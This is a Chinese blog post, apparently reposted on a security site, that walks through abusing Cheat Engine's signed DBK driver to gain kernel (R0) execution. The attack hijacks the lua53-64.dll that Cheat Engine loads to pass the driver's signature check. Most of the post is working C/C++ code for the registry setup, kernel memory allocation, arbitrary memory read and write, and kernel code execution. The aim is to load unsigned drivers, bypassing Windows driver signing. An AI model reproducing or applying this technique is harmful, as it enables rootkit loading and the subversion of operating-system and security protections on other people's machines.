利用CE的DBK驱动获取R0权限

VSole2023-07-17 09:41:34
一
分析CE7.0的DBK驱动

CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码。

这里提供了分配/释放非分页内存的功能:

case IOCTL_CE_ALLOCATEMEM_NONPAGED:
    {
        struct input
        {
            ULONG Size;
        } *inp;
        PVOID address;
        int size;
        inp=Irp->AssociatedIrp.SystemBuffer;
        size=inp->Size;
        address=ExAllocatePool(NonPagedPool,size);
        *(PUINT64)Irp->AssociatedIrp.SystemBuffer=0;
        *(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address;
        
        if (address==0)
            ntStatus=STATUS_UNSUCCESSFUL;
        else
        {
            DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size);					
            
            DbgPrint("address=%p\n", address);
            RtlZeroMemory(address, size);
        
            ntStatus=STATUS_SUCCESS;
        }
        break;
    }
case IOCTL_CE_FREE_NONPAGED:
    {
        struct input
        {
            UINT64 Address;
        } *inp;
        inp = Irp->AssociatedIrp.SystemBuffer;
        ExFreePool((PVOID)(UINT_PTR)inp->Address);
        ntStatus = STATUS_SUCCESS;
        break;
    }

这里提供了给定内核地址就能直接执行内核代码的功能:

case IOCTL_CE_EXECUTE_CODE:
    {		
        typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters);
        PARAMETERLESSFUNCTION functiontocall;
        struct input
        {
            UINT64	functionaddress; //function address to call
            UINT64	parameters;
        } *inp=Irp->AssociatedIrp.SystemBuffer;
        DbgPrint("IOCTL_CE_EXECUTE_CODE\n");
        functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress);
        __try
        {
            ntStatus=functiontocall(inp->parameters);
            DbgPrint("Still alive\n");
            ntStatus=STATUS_SUCCESS;
        }
        __except(1)
        {
            DbgPrint("Exception occured\n");
            ntStatus=STATUS_UNSUCCESSFUL;
        }
        break;
    }

之所以DBK驱动提供如此直白的接口但微软还能给签名,是因为DBK驱动做了一点基本的防护,在进程打开DBK驱动创建的设备对象时,它会通过进程文件对应的sig文件来校验进程文件的数字签名,如果校验失败,会打开设备对象失败,从而阻止其他进程使用DBK驱动提供的功能,这也就是为什么CE的安装目录下有sig文件。

二
思路

我发现CE由于需要加载lua脚本,所以导入表里有lua53-64.dll,可以通过dll劫持让CE在启动之前就加载自己写的dll,dll里加载DBK驱动,并打开其创建的设备对象,之后内存加载自己写的未签名驱动并运行DriverEntry,虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。

三
详细步骤

1、加载DBK驱动

CreateService创建服务,但在OpenService打开服务之前需要写4个注册表项,不然DBK驱动会加载失败。

// 写相关注册表
HKEY hKey;
std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME);
LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != status)
{
    LOG("RegOpenKeyEx failed");
    CloseServiceHandle(hService);
    CloseServiceHandle(hMgr);
    return false;
}
std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t));
std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME);
RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t));
std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME);
RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t));
std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME);
RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));

2、打开设备对象

打开设备对象后,需要将之前创建的4个注册表项删除掉。

3、利用DBK驱动提供的功能

下面是分配/释放内核中的非分页内存的代码:

UINT64 DBK_AllocNonPagedMem(ULONG size)
{
#pragma pack(1)
    struct InputBuffer
    {
        ULONG size;
    };
#pragma pack()
    InputBuffer inputBuffer;
    inputBuffer.size = size;
    UINT64 allocAddress = 0LL;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed");
        return 0;
    }
    return allocAddress;
}
bool DBK_FreeNonPagedMem(UINT64 allocAddress)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
    };
#pragma pack()
    InputBuffer inputBuffer;
    inputBuffer.address = allocAddress;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed");
        return false;
    }
    return true;
}

下面是读写任意进程的内存地址的代码(包括R0地址):

bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 processid;
        UINT64 startaddress;
        WORD bytestoread;
    };
#pragma pack()
    UINT64 remaining = size;
    UINT64 offset = 0;
    do
    {
        UINT64 toRead = remaining;
        if (remaining > 4096)
        {
            toRead = 4096;
        }
        InputBuffer inputBuffer;
        inputBuffer.processid = pid;
        inputBuffer.startaddress = fromAddr + offset;
        inputBuffer.bytestoread = toRead;
        DWORD retSize;
        if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL))
        {
            if (!failToContinue)
            {
                LOG("DeviceIoControl IOCTL_CE_READMEMORY failed");
                return false;
            }
        }
        remaining -= toRead;
        offset += toRead;
    } while (remaining > 0);
    return true;
}
bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 processid;
        UINT64 startaddress;
        WORD bytestowrite;
    };
#pragma pack()
    UINT64 remaining = size;
    UINT64 offset = 0;
    do
    {
        UINT64 toWrite = remaining;
        if (remaining > (512 - sizeof(InputBuffer)))
        {
            toWrite = 512 - sizeof(InputBuffer);
        }
        InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer));
        if (NULL == pInputBuffer)
        {
            LOG("malloc failed");
            return false;
        }
        pInputBuffer->processid = pid;
        pInputBuffer->startaddress = targetAddr + offset;
        pInputBuffer->bytestowrite = toWrite;
        memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite);
        DWORD retSize;
        if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL))
        {
            LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed");
            free(pInputBuffer);
            return false;
        }
        free(pInputBuffer);
        remaining -= toWrite;
        offset += toWrite;
    } while (remaining > 0);
    return true;
}

下面是执行内核地址的代码:

bool DBK_ExecuteCode(UINT64 address)
{
#pragma pack(1)
    struct InputBuffer
    {
        UINT64 address;
        UINT64 parameters;
    };
#pragma pack()
    InputBuffer inputBuffer;
    inputBuffer.address = address;
    inputBuffer.parameters = 0;
    DWORD retSize;
    if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL))
    {
        LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed");
        return false;
    }
    return true;
}

4、将未签名驱动映射到内核内存中并修复其RVA以及导入表,之后运行其DriverEntry。

(具体代码太多了,就不展示了)

5、创建驱动项目

要注意的是,由于这个驱动运行的方式不正常,所以要将入口点改为DriverEntry,还要禁用GS防护,这样才能避免SecurityCookie引发的crash问题。

我在里面简单打印了点日志用于验证:

extern "C" NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath)
{
    KdPrint(("Enter DriverEntry\n"));
    KdPrint(("Leave DriverEntry\n"));
    return STATUS_SUCCESS;
}


四
结果

最终目录如下:

管理员权限启动richstuff-x86_64.exe,它会在运行前加载lua53-x64.dll,之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象,再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。

上图中的成果见附件CECheater.7z。

代码见附件code.7z。

sizeofioctl
本作品采用《CC 协议》,转载必须注明作者和本文链接
CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码。
关闭驱动校验bypass dse
2023-03-22 15:28:05
可以使用其关闭CI!Windows 上的驱动签名校验由单个二进制文件 ci.dll 管理。在 Windows 8 之前,CI 导出一个全局布尔变量 g_CiEnabled,无论是启用签名还是禁用签名,这都是不言自明的。在 Windows 8+ 中,g_CiEnabled 被另一个全局变量 g_CiOptions 替换,它是标志的组合。gdrv.sys漏洞利用由那边公开文章可知,0xC3502808 内置memcpy功能,随意逆向gdrv.sys,找到0xC3502808分支。把代码梳理下,就变成这样了。在CI.dll的导出函数CiInitialize中调用了CipInitialize函数。而在windows10中,是第三次调用call,所以19044和18363代码不同。
此漏洞与CVE-2021-22555(https://blog.csdn.net/bme314/article/details/123841867?spm=1001.2014.3001.5502)利用方式相似。
笔者分享的两种利用方式都不算困难,但是需要注意
可是当我们开启了smap保护之后,内核态就没有办法访问用户态的数据,此时当我们再hijack tty_operation到我们的用户态时,我们的kernel就会panic,更别说劫持执行流到用户态上执行rop了。当我们调用msgsnd时,在linux内核中会调用do_msgsnd。
MITM Fuzz下图是用户层与内核层实现通信的过程,可以看到,最后是通过NtDeviceIoControlFile来分发给相应驱动对象的派遣函数的,因此,可以通过对该函数进行HOOK操作。如果将修改以后的数据发送给NtDeviceIoControlFile函数以后,发生了内核崩溃或蓝屏,往往预示着该驱动程序可能存在内核漏洞。
个人Windows下用过两个OpenVpn驱动版本,tap-windows 5.0版本 <= win7,tap-windows 6.0版本 >= win8。WirGuard口碑很不错,被Linux集成在了内核称艺术品。这里并不是讲OpenVpn它本身如何做隧道的,而是通过假设代理方案举例:初始化tap驱动,注册小端生成虚拟网卡。应用层设置路由表和虚拟网卡,指定IP路由到虚拟网卡。NDIS捕获完成IRP发送应用层,应用层拿到数据包Socket5或者私有代理。Tap-windows5.0和6.0捕获数据包传输使用都是I/O,异步ReadFile/WriteFile MDL读写。
然而在内核态中,堆内存的分配策略发生了变化。并把这个slab划分为一个个object,并将这些object组成一个单向链表进行管理,这里需要注意slub系统把内存块当成object看待,而不是伙伴系统中的页。本次选择演示的例题是2019-SUCTF的sudrv例题,查看start.sh中的信息可以发现开启了kaslr保护与smep保护。
也防止有人通过inlinehook 直接hook recv ,recvform,recvmsg 直接在收到数据包的时候被拦截和替换掉。
条件竞争类型的漏洞
VSole
网络安全专家